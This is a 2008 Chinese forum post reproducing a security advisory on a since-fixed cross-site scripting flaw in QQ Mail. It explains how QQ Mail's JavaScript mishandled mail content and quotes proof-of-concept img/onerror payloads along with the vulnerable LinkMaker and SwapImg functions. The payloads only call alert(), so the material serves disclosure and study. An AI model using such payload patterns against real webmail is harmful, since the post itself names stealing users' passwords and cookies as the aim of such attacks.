找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 690|回复: 0

QQ Mail跨站脚本漏洞

[复制链接]

739

主题

468

回帖

4307

牛毛

论坛管理员

狼群

积分
4347
发表于 2008-7-15 18:54:02 | 显示全部楼层 |阅读模式
漏洞说明:QQ Mail是Tencent公司提供的webmail服务,你可以使用你的QQ帐户来登陆使用Mail服务,具体的信息可以访问 http://mail.qq.com/。但是80sec团队成员在QQ Mail里发现存在跨站脚本漏洞,恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份,或者使用 ajax等技术读取用户的敏感信息。

漏洞成因:QQ Mail的Javascript Dom部分在处理邮件内容,对邮件内容字符串的处理分为str和code两个流程,通过组合的标签内容可以误导Javascript处理图片内容和文字链接进入str流程,将HTML编码字符串还原为HTML标签。

漏洞测试:(已经修复)

发送如下内容即可引发XSS

以下是引用片段:<div><img src=\"http://src=\" onerror=\"alert(x111)\"></div> 漏洞解析:

QQ Mail会自动解析邮件内容,发现匹配的链接将转换成HTML内容,由LinkMaker函数实现:

以下是引用片段:function LinkMaker( str ) { return str.replace( /(https?:\\/\\/[\\w.]+[^ \\f\\n\\r\\t\\v\\\"\\\\\\<\\>\\[\\]\\u2100-\\uFFFF]*)|([a-zA-Z_0-9.-]+@[a-zA-Z_0-9.-]+\\.\\w+)/ig, function( s, v1, v2 ) { if ( v2 ) return [ ’<a href=\"mailto:’, v2, ’\">’, v2, ’</a>’ ].join( “” ); else return [ ’<a href=\"’, s, ’\">’, s, ’</a>’ ].join( “” ); } ); SwapImg函数处理邮件中IMG标签:

以下是引用片段:function SwapImg(id, ajustValue) { var as = GelTags(\"img\", S(id)); for (var i = 0; i < as.length; i++) { if (as.src) { ZoomImgToBody(as, ajustValue); as.onload = function() { ZoomImgToBody(this, ajustValue, true); }; } } } 进入str流程将会使用DOM中的innerText和textContent处理字符串,邮件中的HTML编码字符串转成HTML标签(<将转换成”<”,>将转换成”>”),如下的测试:

以下是引用片段:<div id=\"contentDiv\" class=\"body\"><div></div> <div><img src=\"\" onerror=\"alert(1);\"></div></div> <script> v=document.getElementById(\"contentDiv\").innerText; //ie //v=document.getElementById(\"contentDiv\").textContent; //FIREFOX alert(v) </script>
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-12 19:46 , Processed in 0.115172 second(s), 23 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表